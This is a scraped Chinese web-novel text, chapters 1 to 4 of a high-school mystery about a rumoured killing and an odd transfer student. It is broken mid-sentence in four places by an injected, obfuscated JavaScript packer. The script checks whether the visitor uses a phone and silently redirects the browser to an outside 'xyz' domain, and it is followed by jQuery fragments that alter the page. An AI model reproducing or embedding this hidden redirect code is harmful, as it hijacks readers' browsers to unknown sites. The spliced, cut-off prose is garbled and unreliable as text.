《萌萌小女巫也要上高中吗》
1. 第 1 章
金城高中死人了。
犹如一颗石子投入湖心,高中生们平淡无波的生活掀起滔天巨浪。
在无数书本和试卷堆成的课桌之间,总会有学习之外的余裕。学生们通常将其投入于临时睡眠、零食享用以及——八卦闲聊。在任课老师来不及布置作业的上午,这样的课间显得格外难能可贵。
几个脑袋凑在一起,嘀嘀咕咕地说起被班主任勒令不许再提的“禁忌”。
教室后排靠窗,有个男生抬起头,小心地环视一周,方才伸手骚扰骚扰同桌,敲敲前后狐朋狗友的肩膀,示意他们凑过来听。
“你们听说没?有人死了。”
八卦开讲,前后茫然的目光都向他集中了。几双困倦迟钝的死鱼眼流露出如出一辙的迷惑。
唯独同桌正在奋笔疾书,试图在上课铃敲响之前弥补昨日未竟的欠债,不感兴趣地说:“这个世界上有哪天不死人的。”
闻听此言,男生没有气馁,低声说:“这回不一样。死的那个是我们学校的。”
此话一出,前桌女生打了个激灵。
“哈?”
“你没在开玩笑吧……”
有一搭没一搭地回话的同桌也登时一愣,半眯着的困倦眼睛霎时间睁大了——他暂时搁置了死线将至的作业,不可置信地转过头,将信将疑地望着一脸讳莫如深的叙述者,深吸了一口气。
“真的假的?什么时候的事儿?我咋没听说过?”
有人登时反应过来,慢半拍地问:“班主任早读前说的不要乱传些‘有的没的’,就是指学校死了人的事儿?搞这么隐晦,我还以为是说地理老师谈恋爱的事儿——”
“都缓缓。你们一口气问这么多问题,我怎么答啊?”男生没好气地道。
课间十分钟休息时间,被拖堂和提前上课不着痕迹地压榨了两轮,剩下的时间寥寥。休息时间短得人只够胡乱塞几口零食,把隔夜没写完的作业交换着互帮互助一番,填几个ABCD,来不及以零点五倍速没有开视频会员的速度听完一场波澜壮阔的故事。
见他还没说到重点,前桌女生抱住了好友的胳膊,忍不住催促道:“刘瑞平,能不能别卖关子了?”
如果听不完这件事的始末,上课后的四十五分钟里会像是有针在扎她,亦或者是校园里神出鬼没的橘猫在她即将以迅雷不及掩耳之势冲向食堂时伸出尾巴扫她小腿求摸,令她无比难受。
周围的视线透着相似的谴责。
“别急别急,我这就讲。”
“就在几个星期前,周日下午放半天假,住宿的走读的隔壁学校偷偷混进来找对象的……总之,学校里走了一大半人,教室基本都空了。”刘瑞平开始铺垫前情提要。
“刘瑞平,我这儿有一个沙包大的拳头。”身高一米八的同桌举起了手。
刘瑞平暂时不太想挨拳头。
他摸了摸鼻子,见好就收,悻悻道:“别心急嘛罗吉,马上就讲到重点了!只有高三教室里,留了几个人自习。”
刘瑞平压低了嗓音,声音突然变得沙哑而低沉,“就在这时候,寂静的艺术楼,毫无征兆地爆发出‘砰’的一声巨响……!似乎有什么东西沉重地,砸在了地上。”
“那件事情,就这样发生了。桀桀桀桀……”刻意而为的尖锐笑声突兀响起。
吴羽捂住嘴,冷不丁被吓了一跳,手中的笔“咕咚”一声落在桌上,又滚落至地面。
罗吉闻言淡淡道:“故弄玄虚。”
空有氛围营造,实际上也没说到点子上。
吴羽啪地一下拍了下刘瑞平的胳膊,搓搓手臂上冒出来的鸡皮疙瘩:“要死啊你!有话就说,装什么相?”
话虽如此,她终究因为几番鼓动和长久的铺垫生出些微弱的兴趣。这下笔也无心捡了,只压低声音问:“高三有人……自杀了?”
“不,不是。”刘瑞平摇了摇头。
他迎着众人的目光,示意他们凑近。
一、二、三……一共四个脑袋靠了过来,如出一辙的漆黑发顶凑在一处,紧张又安静地分享一个不为人知的秘密。
浮动的草本植物香气中,刘瑞平悄声道:“那个学生是被别人推下楼的。”
“吓——”
有人倒吸一口凉气。
吴羽:“谁干的?被警察抓起来了吗?”
同桌抱着她的胳膊点头附和:“我可不想和杀人犯在一个学校读书……”
刘瑞平摊了摊手,“这我就不知道了。”
“说到底,你这也不过是道听途说,没拿出什么证据啊。”罗吉摇了摇头。
他看出了兄弟内心的不安,宽慰道:“说不定也只是别人闲着没事干乱传的。老刘,你是不是被吓到了?”
刘瑞平一贯吊儿郎当没个正形,可想起那日的记忆,竟无论如何挤不出一张笑脸。到底是目睹凶案,他心里发毛,然而左等右等没在学校看见过警察来访,只有流传在年级里很快被抹平的风言风语,心里一阵悚然。
“不……不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862735|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是。”
他习惯了和朋友分享日常生活中的一切见闻,此刻也就不隐瞒了。
刘瑞平情不自禁地咽了口唾沫,说:“真的有东西掉下去了,罗吉……是我亲眼看到的。”
“‘东西’?”一道纤细的嗓音插了进来。
吴羽被提醒到了,也说:“你能确定你看到的是人吗?说不定掉下去的只是什么放在阳台上的杂物。毕竟如果真的有人坠楼,学校和警察怎么会坐视不管呢?”
“不,不是的!一定是人!”刘瑞平情绪激动地打断。
隐藏在戏谑玩笑下的真实情绪在此刻显露,刘瑞平一改嬉皮笑脸的样子,有些阴沉地说:“我虽然没有看清楚,但是当时……当时我听到了一个女生的尖叫。就是从艺术楼那边传来的。”
大家安静下来。
事情的发展听上去已经很不对劲了。超过了同学间八卦闲谈的范畴,不免让人陷入不安。
率先出声的是罗吉,他推了推夹在鼻梁上的眼镜,说道:“这件事以后别再提了。天知地知我们四个知,也别往外传了。刘瑞平,这件事情本质上和你也没什么关系,说出去指不定就有什么麻烦缠上来,甩都甩不掉。而且我们和寇准那种人不一样——对我们来说,现在最重要的事情是高考。”
吴羽登时呆了呆。
他这样给事情定了性,勒令他们从今往后守口如瓶,她心里却有不同意见:“罗吉,你这话说的有点太冷漠了吧?”
罗吉反击道:“我难道说错了吗?我们四个高中生,又不是名侦探柯南,还要凑起来在月考前破个案?”
“你现在一副热爱学习的样子了?这么关心月考也没见你考去A班啊!”吴羽转头寻找同盟,眼神径直略过了六神无主的刘瑞平,转向了她的同桌,“芊芊,你说是不是?”
陈芊没说话。
像是被戳中了痛处,罗吉整张脸都涨红了起来:“吴羽!”
“那个……你们有没有发现。”不声不响的陈芊环抱着吴羽的胳膊,她连眼珠也不敢转,只慢慢低下头去,声音有点儿发颤,“我从刚才就想说了,这里……这里怎么有……”
“五个人?”
所有人僵住了。
不知道过了多久。
多出来的那个家伙终于意识到他们正在讨论的主角变成了她。顶着四张惊恐程度大同小异的脸,她面不改色地冲着他们打了声招呼:“嗨,你们好。”
纪之水体贴地说:“你们可以继续,就当我不存在。”
2. 第 2 章
“这种情况怎么可能把你当成不存在啊!”陈芊崩溃地压低声音喊。
她用惊恐的眼神打量着眼前这个阴森森的女孩:一头绝对会被教导主任抓走训话的黑长直居然就这样大大咧咧地散在脑后,没有规矩地用皮筋扎成马尾,是等着被不定时出现在走廊巡查的教务处老师抓么?
——不,这不是重点。
女生有着对比普通人来说显得过于白皙的肌肤,小小的一张脸上是大而精致的五官,客观来说,她的长相称得上美。然而此情此景,却没人能够欣赏这份美丽。一双漆黑的眼睛沉沉地望着他们,明明嘴角在笑,脸上却没有什么笑意。
陈芊从小就比旁人更加敏感一些,如今同眼前之人对视,竟生出一种错觉:长久注视她双眼的人,连灵魂都好像会被吸进去。
纪之水冲她歪了歪脑袋,“为什么不可以?我会保持安静的,不会打扰你们。”
是因为这种原因吗!
陈芊慌忙别开眼,整张脸都涨红了。
谁也不知道她是什么时候搬着板凳自然而然地融入他们中间的。
吴羽和罗吉的争执早停了,两人沉默对望了一眼,对视中仿佛连眼神都吵了八百个来回:
——叫你事不关己高高挂起,小心被鬼听见了找你来索命。
——睁开眼仔细看看,是人是鬼你都分不清?
吴羽伸手把陈芊拦在身后,胳膊被抱得紧紧的。
她一边安抚同桌,一边鼓起勇气观察。
纪之水身上套了一件略显宽大的金城高中校服,冲着他们露出一个弧度微小的笑。她似乎想要极力地表现出一点儿友好,无奈和自己的脸部肌肉不太熟悉,这个笑容怎么看都透着瘆人意味。
时值冬天,教导主任仍然不近人情地要求所有学生把校服套在外面,走廊上放眼望去全是塞得鼓鼓囊囊的法式小面包。为了塞进保暖的羽绒服和厚衣服,大一码的校服几乎成了所有学生的标配。
虽然眼前这家伙很诡异,但确实是人无疑,穿着打扮也符合季节。
短暂的惊惧过后,理智开始回笼。
吴羽眯了眯眼,不着痕迹地往地上一看:当真是人不是鬼,脚老老实实地在地上踩着呢。
她想起那些恐怖小说里的形容,什么鬼没有脚啦,后脚跟不落地啦……通通对不上,顶多是这个不请自来的女同学看起来气质阴沉了一些。
以及,性格奇怪了一些。
“你谁啊?”想到这儿,吴羽不客气地发问,“我们讲话你在这儿偷听,有点不礼貌了吧?”
“不好意思。”纪之水道。
“我一开始和你们说话,也没人理,就……”
如果只是误会一场那确实也还好。是他们太专注于事件本身,才忽略了她的搭话,想来也还算合理。
陈芊放下悬着的心,以及吴羽差点被勒到血液不循环的胳膊,小声抱怨道:“那你也不能这样吓我们一跳嘛同学。”
刘瑞平回忆了片刻,“好像是有这么回事。”
“还是不对啊!”他差点被纪之水的话带了进去,反应过来后更加崩溃了,“你这家伙到底是谁啊!怎么在我们班?我从来没见过你!”
他从来、从来没有在学校里见过这个家伙!
话音刚落,才刚打消疑虑的三人通通转头看向了刘瑞平,而后又缓慢将目光转向纪之水,眼神在在场的所有人中间不断乱飞。
刘瑞平这样的角色在哪个学校都必不可少,能在一个年级几百个人里脱颖而出全靠个人魅力。
这类人通常长相平平无奇,学习成绩不上不下,靠着一张舌灿莲花的嘴和能够同任何一个人自然搭话的自来熟属性,把整个年级的人都认得七七八八,消息渠道的丰富程度甚至远超教导处和年级办公室,每每第一个得知放假消息和学校大小活动安排。
刘瑞平说对她没印象,可想而知有多么离奇。
众人神情各异,纪之水的目光缓缓从四人脸上爬过,将每个人的表情尽收眼底。
几人在靠走廊一侧的倒数两排围成一个不太规则的圈,又一阵令人难捱的沉默之中,耳边是整个班级的喧嚣吵闹。挂在教室最后的时钟款式老而□□,时间走过就会留下刻板的滴答声,陈芊感到一阵呼吸困难——
不知道从什么时候开始,她竟无意识屏住了呼吸,直到现在才反应过来。
“我叫纪之水,是新转来金城高中的转校生。”纪之水做了简单的自我介绍。
“我在高三A班,就在你们班楼上。”她观察着每个人的表情,瞧见吴羽视线微动,余光瞥向了罗吉的方向。
所以是不小心走错班了么?
罗吉脸上浮现出怀疑的神色:“都高三了,你怎么这个时候转学?”
“家里人工作变动嘛。”
唠起家常,眼前看上去有些阴沉的女孩多了些人味。听她对答如流,陈芊却愈发不安,感觉她的回答熟练标准得像是排练过很多次,有种刻意感。
就在这时候,旁边的窗户被人轻轻敲了两下,整个教室的音浪随之一收。
刘瑞平如同惊弓之鸟一般飞速望去,出现在玻璃后的不是随时从后门、楼梯口随机刷新出的班主任贴脸图,而是一张很有记忆点的帅脸。
在所有人都因为高三的学业压力灰头土脸死气沉沉的时刻,有个人却天天光鲜亮丽精力充沛的,羡慕之余,偶尔会让人觉得牙痒。
——顾、天、倾。
刘瑞平一字一顿,在心里喊出了那个人的名字。要灰头土脸就一起灰头土脸啊!
凭什么上一样的高中吃一样的苦有人却好像天天过的很幸福一样!太没有同学爱了吧!
早读课第一节结束,外面天都还没亮,教室开着灯。
刘瑞平在玻璃倒影上看见了自己的倒影:脸色灰白,嘴唇干裂,黑色框架眼镜重重压在鼻梁上,也遮不住眼眶下仿若刺青一般鲜明的黑眼圈。
旁边那张脸却像是从少女漫里走出来的,阳光开朗得让人觉得刺眼。
两人的面孔同时出现在一面玻璃里,对比鲜明得连刘瑞平自己都不忍卒看。刘瑞平忍气吞声,一把拉开了半扇窗户。
他没好气地问:“找谁?”
顾天倾笑眯眯地说:“你们好!我来接纪同学回班。”
说罢,那道仿佛浸染了晨曦暖意的眼神就落在了纪之水身上。
纪之水像是被这道目光烫了一下,浑身的防御机制都被唤醒,警惕地抬眼瞪视着顾天倾。她嘴唇动了动,既想质问他为什么会找到这里,又觉得哪怕问了也得不到结果,冷淡地转开脸。
“和你们聊天很高兴。”纪之水站起身,客气地说,“我之后再来找你们。”
陈芊忙不迭喊:“别来了,别来了!”
其余三人虽然没有说话,但都通过坚定的眼神传递了相同的想法。纪之水置若罔闻,把搬来的板凳贴着黑板报下的墙壁复位,拉开门走出了高三(7)班的教室。
纪之水仿佛听到身边传来笑声。
一转头,一张阳光开朗的脸纯良而无辜地望着她,似乎刚才听见的那道笑声只是她的错觉。
顾天倾体贴地说:“马上就要上课了,我们快回去吧,纪同学。”
纪之水有一瞬间怀疑自己听错了。顾天倾这种讨厌的开朗蠢货,会当着她的面嘲笑她吗?
不会。天方夜谭。
她没有太纠结,和顾天倾一前一后,拉开速度把人甩在身后,摆明了不想和他肩并肩。
顾天倾却是没看出来她的想法,提步追了两回,直到第三回被纪之水加速甩开,才慢半拍意识到:“纪同学,你是不想和我一起走吗?”
纪之水说:“没有呀。”
她只是不想看见顾天倾的脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862736|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。她在心里恶意地补充。
虽然纪之水嘴上没承认,顾天倾还是闻弦歌而知雅意,没有再追上来,乖乖落后了她半个身位,亦步亦趋地跟着她。
即使是顾天倾这种阳光过头的乐天派,也该在一而再再而三地热脸贴冷屁股之后明白她的抗拒和……讨厌。
耳边终于清静了,纪之水得意地扯了下嘴角,冷酷地放下狠话:“以后没事离我远点。不要来找我。”
尤其是她在办正事的时候。
今天这只像在草坪上捡球的金毛狗凑在墙边看她的眼神让纪之水直犯恶心——她又不是一颗荧光黄的网球!
从他视线里消失三分钟都得警惕他来抓人,简直……岂有此理!
临近上课,走廊几乎空了,即便有人也是小跑着匆匆而过。顾天倾的脚步却逐渐慢下来,望着纪之水的背影离他越来越远。
纪之水当然不会停下来等他。明明速度不慢,她的黑发发尾在行走间几乎不动,像一只飘浮的幽灵。
顾天倾像是困惑一般望着她的背影,没懂她的恶感从何而来,道:“我给你造成困扰了吗?纪同学,你毕竟刚转过来,李老师也是怕你适应不了新环境,所以才叫我……”
“都上高中了,还这么听老师话吗?”纪之水猝然停下脚步,忍不住讽刺道。
顾天倾一面走一面讲话,差点撞上纪之水的肩膀。
纪之水皱了皱鼻子,这种走路不看路的单细胞生物笨得会让正常人生出一种无力感。在顾天倾撞上来之前,她眼疾手快地伸出一根手指抵他的胸口,把人戳开。
纪之水从牙关里挤出声音,和虚伪的假笑:“走路要看路啊班长。”
“对不起。”
顾天倾自觉地退了半步,和她拉开距离,动作掀起小小的气流。
传递到纪之水鼻尖的是很清爽的皂香。顾天倾的气味倒是不像他这个人一样,那么叫人讨厌。
“我很抱歉。”如果先前一句道歉是对差点撞上她,那么后者大抵是对于这段时间里顾天倾做的所有事的总和。
包括但不限于带班里的女孩们来和她社交、自作主张地将班里的课代表介绍给她认识、甚至还试图越俎代庖地在一个星期上不了几堂的体育课上给她找到愿意带她玩的小团体——罪行累累,罄竹难书,顾天倾堪称多管闲事的典范。纪之水觉得自己完全值得这一声道歉。
顾天倾似乎觉得她一个人待着很可怜,自说自话地带着他不甚礼貌的热情冲撞起她对陌生人竖起的壁垒。
这令纪之水深觉苦恼。
像顾天倾这种到哪里都呼朋引伴,身边浩浩荡荡围着一大群人的家伙是根本理解不了她独处的自在和快乐的。
纪之水委婉拒绝过几次顾天倾的好意,但收效甚微。顾天倾还是热情地撵着她跑,像撵一只让狗狗喜欢的荧光黄网球。发现这位热心的班长好像听不懂人话,纪之水不可避免的日渐不耐烦起来。
顾天倾好脾气地说:“那我之后都不烦你了。”
你也知道是在烦我啊?纪之水忍不住腹诽。
不过好在,在直白说明后,顾天倾至少愿意改。纪之水刚觉得顾天倾的讨人厌程度下降了三个百分点,又听他好心提醒道:“还有,纪同学,下回不要再走错班了哦。”
再定睛一看他那张英俊而又疏朗的面孔,似乎隐隐带着促狭的笑意。他唇角天生上翘,面貌英俊风流,纪之水盯着他的脸看了半天,愈发看不明晰。
就这样僵持了起码一分钟,顾天倾唇角的弧度隐约下落。
……是在笑吧?
“盯着我做什么?”顾天倾问。
纪之水低声骂了一句,也不知道是在说自己疑心病重,还是骂顾天倾太爱装模作样。
和阳光开朗到近乎愚蠢的人掰扯无用的细节无疑是件蠢事,纪之水兴致缺缺,决定悬崖勒马,扭头就走。
3. 第 3 章
“咳咳。”
一枚纸团借着咳嗽的动作向后抛去,径直落在罗吉桌面。讲台上的老师连眼皮都没抬,兀自在稀稀落落的读书声中思考人生大事。
罗吉收回观察的视线,用手掌盖住纸团,拢到书下,方才缓缓展开纸条。
——是顾天倾来接她的。你们觉得她真是转校生吗?(羽)
——估计是呗。这也没什么好撒谎的。(罗)
罗吉在纸条上写完最后一笔,转手递给了一旁刘瑞平。经过早上这一通闹,刘瑞平已经平静了许多,不再神神叨叨地念叨什么“谋杀”、“报警”,看来是理智回笼了。
刘瑞平提笔在小纸条上书写:
——等大课间我出去打听一下,看看她是什么来路。
他捡了一只红笔,和另外几人的颜色区别开,也就没写落款。小纸条落在陈芊桌上,她思考了一阵,也开始接力。
——她听到了这件事,会不会往外说啊?到时候说不定会找到我们头上...(陈)
——你别太杞人忧天了。我们就说点八卦,又不犯法。(羽to陈)
——罗吉,你之前是高三A班的吧,要不去问问?(羽to罗)
纸团往后传,很长的一段时间里,再也没有传回来。
早读的读书声在检查组的值日学生路过窗口时突然暴涨,讲台前打着瞌睡的老师也一激灵,从椅子上站了起来,严肃的视线扫过班级。吴羽和陈芊直了身体,在立起的课本后对视了一眼。
陈芊看着吴羽在小纸条上落笔的时候就觉得这么问可能不妥。当时没阻止,现在就只能嗫嚅道:“你这又是哪壶不开提哪壶啊。”
非要提起某人的伤心事,和往人心上扎刀子有什么区别……
吴羽讪笑两声,用课本盖住脸。
.
走进教室,纪之水望了一眼悬挂在教室后方的时钟,距离早读开始已经过了几分钟。
教室里没有班主任的身影,A班的读书声却比楼下七班大得多。
她刚一坐下,同桌穆若婷就凑了过来,担心地问:“之水,你上节早读去哪了啊?身体不舒服吗?”
纪之水竖起语文课本挡在脸前,语焉不详地说:“唔……出去逛了逛。”
是的,纪之水一整节早读课都没进过教室。
金城高中没有硬性规定老师要比学生先进班级,但为了升学率,许多高三班主任都会自发地提前到班。之前的很长一段时间里,A班班主任也一直是这么做的。
但根据纪之水近两天的观察总结,辅以同班同学不经意间说出口的八卦秘闻——班主任最近为了处理叛逆期的小孩和同学惹出的麻烦,几乎天天都是踩点上班。她得出了结论:班主任家事缠身,即便迟点到校也合情合理。
纪之水赌班主任不会在第二节早读中段之前进教室,大胆地翘掉了第一节早读课。
她刚刚转学过来没多久,具体情况和人际关系都不明朗,即便早上短暂消失了一会儿,也不会有人觉得奇怪。
也只有穆若婷会在这时候多问一声。
她向来有分寸,即便纪之水语焉不详,也不会刨根问底。
“这样啊,你没有哪里不舒服就好。”穆若婷感叹道,“你这回运气真好,班主任一直没来,只有顾天倾注意到你不在。不过你放心,班长他人还不错,不会把你缺勤的事情告诉老李的。”
就算告诉了也不会怎么样。班主任这几天忙得屁股着火,哪有功夫料理她逃了半节早读课的事儿。
纪之水附和道:“嗯。他人挺好。”
说到这儿,穆若婷突然想起什么,变得愤愤不平起来。
她小发雷霆地翻过了一页书,道:“是啊,你刚转过来,也这么觉得是吧?班长他成天勤勤恳恳兢兢业业,全心全意为人民服务,也不知道是哪个家伙写恐吓信骂他……”
纪之水顿了一下:“恐吓信?”
“噢,你是走读生来着,还不知道这件事吧。”穆若婷恍然,解释道,“就之前体育课,赵藏锋他们几个打篮球回来,看到有人在班长桌面上放了纸条,还以为是情书呢。”
“结果赵藏锋手贱,非要看写的是什么。打开一看……唉,也不知道谁这么恨他,可能是嫉妒吧。”
这情节听起来很熟悉。
纪之水冷不丁问:“顾天倾什么反应?”
“哦。他倒是没放在心上。”穆若婷回忆了一下,说,“他就是那性格,大大咧咧的,也没当回事,笑了笑就把恐吓信收起来了。”
“如果是我的话肯定吓个半死,一想到学校要是有人在背地里那么恨我,我就浑身起鸡皮疙瘩。”穆若婷搓了搓手臂,很是感同身受,戳戳前面人的胳膊,“小甜,你让他们前面把空调跳高一度,好像有点冷。”
小甜没转身,比了个OK的手势,然后拍了拍前座的胳膊,将消息一个接一个向前传递。
纪之水默默地看着眼前的一切。穆若婷冲她笑了笑,示意纪之水凑过来听。
“不过我听赵藏锋说,顾天倾好像知道恐吓信是谁送的。”
“是吗。”纪之水好奇地问,“是谁送的?”
穆若婷遗憾地摊了摊手:“我也想知道啊。可惜,顾天倾不肯说。”
其实是根本不知道吧。纪之水也配合地露出了遗憾的表情。
靠着一件没头没尾的八卦,这成了纪之水和穆若婷说过最多话的一个早读。穆若婷瞥了一眼纪之水手里的语文书,提醒道:“早读课下课前英语老师要来默写,别忘了背单词。”
纪之水道了声谢。
她从垒得高高的、崭新的课本中抽出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862737|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一本蓝色的单词书,黑板上写了背诵范围,页数下用深色粉笔划了两道杠。
距离敲响下课铃还有五分钟,英语老师没有出现。倒计时三分钟,走廊外传来高跟鞋落地的声响,一个女人风风火火地裹着冬日寒风推开了教室门,“背得怎么样了?”
无人回应,她满意地点了点头,像是听到了天外来音:“那就好。把默写本拿出来,今天听写三十个单词。”
……有人说话了吗。
纪之水疑惑地环视四周,周围其他人好像都习以为常。
她不明所以地收回视线,翻开默写本。
本子还很新,只写过两页。她将新的一面折成四折,崭新的折痕深深凹下去。
穆若婷在一旁小声抱怨:“早不来晚不来的,老是专挑快下课的点。之水,你背熟了吗?”
纪之水道:“没有。”
“诶,真的假的啊?”穆若婷诧异地看了她一眼,“你……”
“东西都收下去,不许交头接耳!”英语老师敲了敲讲台。
没办法,硬着头皮默吧。
纪之水一大早在年级里各班巡回,比教导主任还勤快,书是一点没看。临时抱佛脚都有风险,更何况她根本没用心。
“suspect。写出单词的词性,中文解释。”英语老师一面翻着单词书,一面顺口道,“单词也要写啊。昨天就有人空着不写。空着干什么,留给我来帮你填么?”
英语老师报单词的速度飞快。
纪之水半蒙半猜半回忆,填了几个单词,根据发音开始硬拼。
英语老师在过道里徘徊,走过她身边时,带来一股香水甜香。纪之水有一搭没一搭地往默写本上施展仓颉造字的本领,忽然察觉到,那股甜腻的香气似乎在她身边停住了。
纪之水对视线很敏感。她一抬头,正对上英语老师的冰冷的注视。
“手伸出来。”英语老师的声音里压抑着冷然的怒气。
前桌突然一抖,像是吓了一跳,侧了四分之一脸回身偷看。英语老师没注意到他的小动作,因为怒气不是冲着他的。
虽然不清楚缘由,纪之水至少分得清怒火朝向了她。
她依言放下手中的笔,面不改色地摊开双手,掌心向上。
“装什么傻?翻过来!”
纪之水又把两只手翻了个面。白炽灯照着她苍白的手背,还有十枚黑漆漆的指甲盖。
“其他人看什么看?!默你们的单词!”英语老师喝退了周围若有若无的打量,面色发沉地望着纪之水,仿佛她做了什么伤天害理的事。
纪之水低头,却只看见了自己光秃秃的十根手指头,还有被海娜花粉染成黑色的指甲。
“解释。”
“解释什么?”
“你的黑色指甲油。”
4. 第 4 章
人一旦有了心事,总会觉得时间分外难熬。
终于等到打铃,刘瑞平在友人的目送之下冲出教室,鬼鬼祟祟地踏上了向上的楼梯。
楼上就是高三A班,全校老师的心头挚爱都汇集在此地。如果班主任看到他们往楼上跑肯定要盘问再三,上楼前刘瑞平特地前后左右看了一圈,没有老师在,才贴着墙迅速行进。
不知学校里的哪位智者曾经说过:高三A班里坐着的不一定是年级前五十,但年纪前五十肯定都在高三A班走过一圈。堪称天才的校领导或许某天夜里被从天而降的灵感袭击了大脑,想到了一个无比精妙的注意——即高三A班末位淘汰制。
那固定的五十个座位就像是年纪前一百名挤破脑袋都在竞争的出道位。一次月考胜利就能为“出道”添砖加瓦,连续三次蝉联前五十就能跻身班级之列,而失败者只能灰溜溜地提桶离开。
对此,刘瑞平评价:很残酷。堪称没有人性的残酷。
刘瑞平的成绩再怎么上上下下也很稳定,就没摸到过前一百的尾巴,明白凭借他自己的学习成绩是没办法在A班获得一席之地的。
不过他有人脉。
他来得早,整条走廊上都没什么人。刘瑞平粗粗往教室里一扫,寻找自己异父异母的兄弟姐妹们,发现老师还站在班级里。
得,又拖课。
他没敢站在窗户口,冒充隔壁班学生趴在阳台上吹冷风看冬日光秃秃的风景。
教学楼与教学楼的缝隙之中,除了几颗常青树就瞧不见什么绿意了。天还没亮,楼下也瞧不见学生,灯火通明的楼道与楼道之间模糊了白天和夜晚的界限。唯一算得上风景的就是远处连绵的群山,在冬日里依旧如同一副舒展的画卷。
金城多山。
冷风吹得人脑壳疼,刘瑞平往挡风的墙壁后避了避,听得身后大门猛然打开的一声响。
冷风极速灌进敞开的教室门里,与之一同出现的是尖锐的斥骂声:“你还知不知道自己到学校里是来干什么的?成天就知道打扮得花里胡哨的,是想勾.引谁?”
刘瑞平猛然回过头,被一股冷风迷了眼。
那头丝绸般的黑色长直发很少见。也只有转校生不清楚当地情况,会散着头发来上学,乍一看像混进狼群的哈士奇一样显眼。
果不其然,刘瑞平眯起眼一看,早上刚见过的,那个自称“纪之水”的女生被人揪着长发扯出了教室。
怎么是她?
这么扯着头发走不但疼,侮辱性比实际伤害更大。刘瑞平看得直皱眉,背贴紧了身后冰冷的墙壁。
待看清了拽着纪之水的人的正脸,刘瑞平心下更加纳闷:“周英又发哪门子疯?”
他的大脑是一个天然的信息库。周英,两年前入职金城高中,三本学历,在办公室里人缘尚可,学生对她的评价呈现出鲜明的两极分化。周英是英语组资历最浅的老师,同时带三个班,在职时间短但“战绩颇丰”,刘瑞平掰着手指头可以数出和她有关的n条八卦。
都不太正面。
多来自受她“摧残”的学生的吐槽。
不过周英带的三个班里没有他们,比起经常打交道的年级主任和教务处老师,刘瑞平和她并不相熟。
纪之水皱着眉毛,露出吃痛的表情。她没有挣扎,以一种别扭的姿势迁就周英的拉扯,脚步踉跄。
说到底也是有一面之缘的同学。刘瑞平犹豫了。他没必要管闲事,却又没办法说服自己当没看见。
他向前走了一步:“那个,老师……”
“周老师,松手!”
随着一声爆喝,高三A班的教室里,呼啦啦涌出来一堆人。
冲在最前面的女生似乎叫穆若婷,刘瑞平认得她。但凡是走读生,几乎没有人不熟悉穆若婷那张脸,她性格很开朗,朋友也多,冲上去扯周英的手。
“有什么话不能好好说,我同桌什么也没做,周老师你罚她也得有个理由吧!”
从推搡变成扯头发,越来越过分了。穆若婷看不下去,刚冲出教室,发现身后缀着一大堆人。
周英没想到有人会拦她,还是平时被她呼来喝去的学生,脸上有些挂不住了:“穆若婷你怎么回事,要和我动手吗!你也反了天了是不是!”
几个女生一哄而上,趁着周英的注意力在穆若婷身上,不声不响地把纪之水从周英手里“抢”了回来。
纪之水的一截头发还在周英手里,脖子歪着,几个女生的胳膊横在她胸口、前腹,牢牢护着她。
纪之水甚至不知道其中几个人的名字,唯独认得柳天意。
在她这个同桌横空出世之前,柳天意是穆若婷关系最亲近的朋友,两个小女孩无论是吃饭还是体育课都黏在一起。穆若婷这两天对她颇为关照,还引得柳天意大吃飞醋,对她没什么好脸色。
明明前天还冲她翻白眼,现下却是柳天意抱她抱的最紧。趁着人没注意,柳天意偷偷伸手用指甲掐周英的虎口。
“啊——”周英痛叫一声,咬牙切齿道,“谁掐我?!”
没人搭话。
穆若婷更是高举双手以示清白:“周老师你这是哪的话!我可什么都没做,也没有不尊重您,就是想和你讲讲道理!”
“就算我们尊重你,老师你也不能不分青红皂白就随便打人呀!”身后有人搭腔。
头发一被松开,纪之水整个人就飞
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862738|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
